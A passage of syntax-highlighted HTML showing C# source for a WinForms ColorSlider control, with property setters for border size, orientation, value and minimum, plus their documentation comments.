#0000BB">Size</span><span style="color: #007700">(</span><span style="color: #0000BB">w</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">h</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Size&nbsp;borderRoundRectSize&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Size</span><span style="color: #007700">(</span><span style="color: #0000BB">8</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;size&nbsp;of&nbsp;the&nbsp;border&nbsp;round&nbsp;rect.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;size&nbsp;of&nbsp;the&nbsp;border&nbsp;round&nbsp;rect.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider's&nbsp;border&nbsp;round&nbsp;rect&nbsp;size"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Size</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"8;&nbsp;8"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Size&nbsp;BorderRoundRectSize<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">borderRoundRectSize</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;h&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">w&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">h&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">h&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">w&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">w&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">borderRoundRectSize&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Size</span><span style="color: #007700">(</span><span style="color: #0000BB">w</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">h</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Orientation&nbsp;barOrientation&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;orientation&nbsp;of&nbsp;Slider.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;orientation.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;orientation"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Orientation&nbsp;Orientation<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">barOrientation</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;temp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Width</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Height</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">temp</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">thumbCustomShape&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">=<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(int)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">thumbCustomShape</span><span style="color: #007700">.</span><span style="color: #0000BB">GetBounds</span><span style="color: #007700">().</span><span style="color: #0000BB">Width<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">thumbCustomShape</span><span style="color: #007700">.</span><span style="color: #0000BB">GetBounds</span><span style="color: #007700">().</span><span style="color: #0000BB">Height</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;trackerValue&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">50</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;value&nbsp;of&nbsp;Slider.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;value.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;exception&nbsp;cref="T:System.ArgumentOutOfRangeException"&gt;exception&nbsp;thrown&nbsp;when&nbsp;value&nbsp;is&nbsp;outside&nbsp;appropriate&nbsp;range&nbsp;(min,&nbsp;max)&lt;/exception&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;value"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">50</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;Value<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">trackerValue</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">barMinimum&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ValueChanged&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ValueChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">ArgumentOutOfRangeException</span><span style="color: #007700">(</span><span style="color: #DD0000">"Value&nbsp;is&nbsp;outside&nbsp;appropriate&nbsp;range&nbsp;(min,&nbsp;max)"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;barMinimum&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;minimum&nbsp;value.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;minimum&nbsp;value.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;exception&nbsp;cref="T:System.ArgumentOutOfRangeException"&gt;exception&nbsp;thrown&nbsp;when&nbsp;minimal&nbsp;value&nbsp;is&nbsp;greather&nbsp;than&nbsp;maximal&nbsp;one&lt;/exception&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;minimal&nbsp;point"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;Minimum<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barMinimum&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ValueChanged&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ValueChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">ArgumentOutOfRangeException</span><span style="color: #007700">(</span><span style="color: #DD0000">"Minimal&nbsp;value&nbsp;is&nbsp;greather&nbsp;than&nbsp;maximal&nbsp;one"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;barMaximum&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">100</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;maximum&nbsp;value.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;maximum&nbsp;value.&lt;/value&gt;<br 